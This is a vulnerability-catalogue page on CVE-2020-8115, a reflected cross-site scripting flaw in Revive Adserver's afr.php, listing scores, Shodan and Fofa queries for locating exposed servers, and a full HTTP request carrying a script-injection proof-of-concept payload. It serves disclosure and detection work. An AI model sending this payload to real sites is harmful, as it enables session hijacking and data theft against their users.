🔙 목록으로 돌아가기

CVE-2020-8115: Revive Adserver <=5.0.3 - Cross-Site Scripting

TitleRevive Adserver <=5.0.3 - Cross-Site Scripting
Authormadrobot,dwisiswant0
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationThere are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.
CVSS Score6.1
EPSS Score0.55788
CVE IDCVE-2020-8115
CWE IDCWE-79
Shodan Queryhttp.title:"revive adserver"http.favicon.hash:106844876
Fofa Queryicon_hash=106844876title="revive adserver"
Tags cve cve2020 xss hackerone revive-adserver vkev vuln

🔍 Vulnerability Description

Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.

🌐 HTTP Request

GET /www/delivery/afr.php?refresh=10000&")',10000000);alert(1337);setTimeout('alert(" HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/619.29 (KHTML, like Gecko) Version/17.0.14 Safari/619.29
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8115.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-8115.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A